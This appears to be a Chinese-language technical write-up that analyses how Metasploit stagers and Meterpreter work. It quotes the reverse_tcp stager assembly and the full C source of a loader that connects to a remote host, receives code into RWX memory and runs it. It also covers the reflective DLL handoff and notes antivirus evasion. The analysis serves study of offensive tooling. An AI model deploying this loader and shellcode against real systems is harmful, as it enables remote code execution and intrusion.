MSF 的 payload 分析
执行方式上有 3 种 独立 (Single)、传输器 (Stager)、传输体 (Stage),前者单独执行,后两种共同执行。也有人直接分为两种:staged 和stageless,本质上是一样的。相关实现在 modules/payloads 下
single:独立载荷,可直接植入目标系统并执行相应的程序
stager:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。
stage:传输体载荷,如 shell、meterpreter 等。在 stager 建立好稳定的连接后,攻击机将 stage 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stage。比如得到目标机的 shell,或者 meterpreter 控制程序运行。
常用的就是 stager + stage ,类似 web 渗透中的小马 + 大马,重点关注一下 stager,以常用的反弹 shell 的 reverse_tcp 为例。源码地址 https://github.com/rapid7/metasploit-framework/blob/bdb729a43bfe4c178ab49cba25f022b01baed853/lib/msf/core/payload/windows/reverse_tcp.rb
def generate_reverse_tcp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_tcp(opts)}
#{asm_block_recv(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
重点看一下组成 shellcode 的 3 部分,asm_block_api 根据函数的 hash 搜索函数地址并调用,具体实现位于 lib/msf/core/payload/windows/block_api.rb
def asm_block_api(opts={})
Rex::Payloads::Shuffle.from_graphml_file(
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
arch: ARCH_X86,
name: 'api_call'
)
end
asm_reverse_tcp(opts) 负责创建 TCP 连接,asm_block_recv(opts) 用来接收和处理 msf 发的数据,具体实现都在当前文件中。
看一下实现流程,先执行 cld 确保字符串的解析方向,然后将 asm_block_api 的地址存到 ebp 中,这样只要调用 push 函数的 hash 值,接着 call ebp 就能调用这个函数。
asm_reverse_tcp 部分就是用汇编实现了一个 tcp 的连接,大致流程:
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
asm_block_recv 部分实现,先接收 4 字节的 length ,直接调用 VirtualAlloc 分配有 RWX 权限的内存用于保存 payload(会被杀软检测!)
recv:
; Receive the size of the incoming second stage...
push byte 0 ; flags
push byte 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
这一部分就是 windows 下 shellcode 的常规写法然后连续 xchg ebx, eax;push ebx 将这段内存地址(也就是 payload 地址)压入栈中,最后通过 ret 弹出,最后进入该地址执行。
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more: ;
push byte 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
这里有个很有意思的地方,edi保存的是socket,原因是为什么可以先放一下。
除了 msf 自带的,还有 cs 作者写的 metasploit-loader https://github.com/rsmudge/metasploit-loader,用 C 写的比较容易理解,但实际上和 msf 自带的在流程上没有什么区别。
//主函数
int main(int argc, char * argv[]) {
ULONG32 size;
char * buffer;
//创建函数指针,方便XXOO
void (*function)();
winsock_init(); //套接字初始化
//获取参数,这里随便写,接不接收无所谓,主要是传递远程主机IP和端口
//这个可以事先定义好
if (argc != 3) {
printf("%s [host] [port] ^__^ \n", argv[0]);
exit(1);
}
/*连接到处理程序,也就是远程主机 */
SOCKET my_socket = my_connect(argv[1], atoi(argv[2]));
/* 读取4字节长度
*这里是meterpreter第一次发送过来的
*4字节缓冲区大小2E840D00,大小可能会有所不同,当然也可以自己丢弃,自己定义一个大小
*/
//是否报错
//如果第一次不是接收的4字节那么就退出程序
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read length value Error\n");
/* 分配一个缓冲区 RWX buffer */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not alloc buffer\n");
/*
*SOCKET赋值到EDI寄存器,装载到buffer[]中
*/
//mov edi
buffer[0] = 0xBF;
/* 把我们的socket里的值复制到缓冲区中去*/
memcpy(buffer + 1, &my_socket, 4);
/* 读取字节到缓冲区
*这里就循环接收DLL数据,直到接收完毕
*/
count = recv_all(my_socket, buffer + 5, size);
/* 将缓冲区作为函数并调用它。
* 这里可以看作是shellcode的装载,
* 因为这本身是一个DLL装载器,完成使命,控制权交给DLL,
* 但本身不退出,除非迁移进程,靠DLL里函数,DLL在DLLMain里是循环接收指令的,直到遇到退出指令,
* (void (*)())buffer的这种用法经常出现在shellcode中
*/
function = (void (*)())buffer;
function();
return 0;
}
这里也出现了同样的问题,需要将 SOCKET 赋值到 edi 寄存器,装载到buffer[]中,和前面一样。
Meterpreter payload 分析
在 staged 模式下,meterpreter 提供 stage,也就是具体的 payload,具体的实现使用了大量的反射 dll 注入技术,不会再磁盘上留下任何文件,直接载入内存,可以很好的规避杀软,而我们前文分析的 stager 文件则有很多特征,通常需要做免杀处理。
扯远了,这里看 msf 中的具体实现,在 lib/msf/core/payload/windows/meterpreter_loader.rb 中的 stage_meterpreter 函数中
def stage_meterpreter(opts={})
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll')) #读取 metsrv.x86.dll
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: opts[:stageless] == true
}
asm = asm_invoke_metsrv(asm_opts) # 生成字节码
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
end
# 这一部分都是检查
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap # 替换 dll 头
dll
end
挨个函数看,首先是 load_rdi_dll,读取了这个 dll 文件,返回文件和对应偏移量,这个 offset 对应的是 ReflectiveLoader导出函数的地址
def load_rdi_dll(dll_path, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER)
dll = ''
::File.open(dll_path, 'rb') { |f| dll = f.read }
offset = parse_pe(dll, loader_name: loader_name, loader_ordinal: loader_ordinal)
unless offset
raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
end
return dll, offset
end
这个 offset 直接被传入了 asm_invoke_metsrv 中,首先是构造 MZ 头
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
这里的部分就是反射 dll 技术,加载 dll 到自身内存,最后返回 dllmain 的函数地址,存在 eax 中
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
这里的 edi 中存着的就是 socket 的地址,在前面的这句
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
代码中,ebx 指向的是在 dll 加载空间的末尾,也就是说现在 socket 的地址被放到了 dll 加载空间的末尾。
unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^
mov [ebx], edi ; write the current socket/handle to the config
^
end
#
前面提到过,eax 中存的是 dllmain 函数,在这里调用
asm << %Q^
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
^
end
ebx 中是什么还不知道,前面这只是生成 payload 的前半部分,在 stage_payload 中可以看出后面还加上了一些配置信息
def stage_payload(opts={})
stage_meterpreter(opts) + generate_config(opts)
持续跟进 generate_config 函数,其中主要的操作就是将各种配置转化为字节码,在 session_block 和 transport_block 函数中,发现这里给有一段区域填充了 8 位的 0,给 socket 留了位置。
也就是说在 mov edi, &socket 之后,ebx 指向的那块内存就从之前的 8 位 0,变成了 socket,从而让 ebx 指向了 socket 的地址。
session_data = [
0, # comms socket, patched in by the stager
exit_func, # exit function identifer
opts[:expiration], # Session expiry
uuid, # the UUID
session_guid # the Session GUID
]
session_data.pack('QVVA*A*')
放两张参考文献中的 dalao 的调试图:


(ebx -> 006CAC05 -> 0150[socket] <- edi)
反射 dll 分析
相关代码在 https://github.com/rapid7/metasploit-payloads 中,看一下生成这个 metsrv.dll 的 metsrv.c
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_METASPLOIT_ATTACH:
bReturnValue = Init((MetsrvConfig*)lpReserved);
break;
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
看一下 stage 中的调用 dllmain 的过程,其中 DLL_METASPLOIT_ATTACH 函数在 metsrv.c 中,而 config_ptr 传递的是前面的 push ebx,也就是 socket 句柄所在地址的那段数据的起始地址。
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
在 DLL_METASPLOIT_ATTACH 分支中,会将 ebx 指向的这段地址中的数据转为 MetsrvConfig 结构体。
typedef struct _MetsrvConfig
{
MetsrvSession session;
MetsrvTransportCommon transports[1]; ///! Placeholder
} MetsrvConfig;
将这段内存(本来也是生成的 config)重新转化为 MetsrvConfig 类型,其中的变量在 payload 的生成选项里都有。
既然发生了类型转换,那就看一下 edi 指向的这个 socket 在转换后被分配到了哪个变量。
union
{
UINT_PTR handle;
BYTE padding[8];
} comms_handle; ///! Socket/handle for communications (if there is one).
继续跟进 comms_handle,可以发现对这个联合体的调用都在 metsrv/server_setup.c 中,其中的 server_setup 函数在完成类型转换之后的 Init 中被调用。看一下调用了 comms_handle 的部分。
...
dprintf("[SESSION] Comms handle: %u", config->session.comms_handle);
...
dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
if (remote->transport->set_handle)
{
remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
}
重点在这一句,将 remote->transport 设置为之前创建的 socket
remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
剩下的就是建立 tcp 连接的过程了,用的是前面创建的 socket 句柄。
流量分析
由 msf 发的包分 3 部分,首先是 4 字节的长度

第二部分是修改了 DOS 头部的 metsrv.x86.dll,可以看到 MZ 头和 PE 头

第三部分是配置数据

参考文献